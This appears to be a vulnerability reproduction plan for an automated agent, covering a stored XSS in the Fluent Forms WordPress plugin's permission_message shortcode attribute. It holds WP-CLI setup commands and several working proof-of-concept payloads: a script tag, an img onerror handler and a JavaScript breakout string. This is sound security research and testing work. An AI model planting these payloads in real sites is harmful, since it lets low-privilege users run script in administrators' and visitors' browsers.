Vulnerability Research Plan: CVE-2026-6828 - Fluent Forms Stored XSS

1. Vulnerability Summary

The Fluent Forms plugin (up to version 6.2.1) is vulnerable to Stored Cross-Site Scripting (XSS) via the permission_message attribute in its primary shortcode. This occurs because the plugin fails to sanitize or escape the attribute value when rendering the "access denied" message for a form. An authenticated attacker with Contributor privileges can use the shortcode in a post or page to inject malicious JavaScript that executes when a user (including administrators) views that page and fails a form restriction check.

2. Attack Vector Analysis

• Shortcode: [fluentform]
• Vulnerable Attribute: permission_message
• Authentication Level: Contributor or higher (any role capable of using shortcodes in posts/pages).
• Precondition: The form referenced in the shortcode must have a restriction enabled (e.g., "Require Login") that is triggered by the victim viewing the page.
• Payload Location: Embedded within the post_content of a WordPress Post or Page.

3. Code Flow

1. Shortcode Registration: The plugin registers the [fluentform] shortcode (typically in a class like ShortCodeParser or Component).
2. Parsing: When a page containing the shortcode is rendered, the ShortCodeParser parses attributes, including id and permission_message.
3. Permission Check: The code identifies the form by id and evaluates its settings (e.g., requireLogin found in fluentform_form_meta).
4. Sink: If the current viewer does not meet the requirements (e.g., is a guest or lacks a specific role), the parser renders a message. If the permission_message attribute is present in the shortcode, the code returns/echoes it directly without calling esc_html() or wp_kses().

4. Nonce Acquisition Strategy

This vulnerability is exploited by creating or editing a WordPress post. While a Contributor can do this via the UI, an automated agent should use the WordPress REST API or the standard post.php endpoint.

1. Create Page for Nonce: No specific Fluent Forms nonce is required for the shortcode itself. However, to create a form or change settings as an Admin during setup, the fluent_form_entries_vars or similar JS objects might contain nonces for the Fluent Forms API.
2. Accessing Fluent Forms Nonce (for Setup):
   • Navigate to the Fluent Forms dashboard: wp-admin/admin.php?page=fluent_forms.
   • Use browser_eval to extract the nonce:

     window.fluent_forms_global_var?.nonce
     

   • (Note: Based on app/Modules/Entries/EntryViewRenderer.php, the plugin localizes fluent_form_entries_vars on entry pages, but for general form management, look for fluent_forms_global_var).

5. Exploitation Strategy

Step 1: Target Identification

Find a valid Form ID. If none exist, create one.

# Get the ID of the first available form
wp db query "SELECT id FROM wp_fluentform_forms LIMIT 1"

Step 2: Test Data Setup (Admin)

Configure a form to be restricted so the permission_message is triggered.

1. Enable "Require Login" for Form ID 1.
2. This is done by updating the formSettings meta key in the fluentform_form_meta table.

Step 3: Payload Injection (Contributor)

As a Contributor, create a post containing the malicious shortcode.

wp post create --post_type=post --post_status=publish --post_author=[CONTRIB_ID] \
--post_title="Contact Us" \
--post_content='[fluentform id="1" permission_message="<script>alert(document.domain)</script>"]'

Step 4: Triggering the XSS (Guest/Victim)

Access the post as a guest or any user that triggers the "Require Login" restriction.

• Endpoint: GET /?p=[POST_ID]
• Payload: The shortcode attribute permission_message will be rendered in the HTML body.

6. Test Data Setup

1. Existing Form: Ensure at least one form exists. Use wp eval to insert a blank form if necessary.
2. Restriction Setting:

   // Example SQL/PHP to force a restriction
   $settings = json_decode(get_db_val_for_form_1_settings);
   $settings['restrictions']['requireLogin']['enabled'] = true;
   // Update DB
   

3. Contributor User: wp user create attacker attacker@example.com --role=contributor --user_pass=password123.

7. Expected Results

When visiting the post URL as an unauthenticated user (Guest):

1. The form container will appear.
2. Instead of the form fields, the message <script>alert(document.domain)</script> will be rendered in the DOM.
3. The browser will execute the script, showing an alert box.

8. Verification Steps

1. HTTP Verification:
   • Use http_request to fetch the post content.
   • Check if the response body contains the raw payload:
     grep "<script>alert(document.domain)</script>"
2. Database Verification:
   • Verify the post content is stored exactly as injected:
     wp db query "SELECT post_content FROM wp_posts WHERE ID = [POST_ID]"

9. Alternative Approaches

If the id attribute is checked for existence before the message is displayed:

• Ensure the id in the shortcode matches a real ID in wp_fluentform_forms.

If the script is blocked by a Content Security Policy (CSP):

• Use an <img> tag with onerror:
  [fluentform id="1" permission_message="<img src=x onerror=alert(1)>"]

If the message is rendered inside a <div> but sanitization occurs:

• Try breaking out of the context if the message is used inside a JS variable:
  [fluentform id="1" permission_message="';alert(1)//"] (though this is less likely given the description).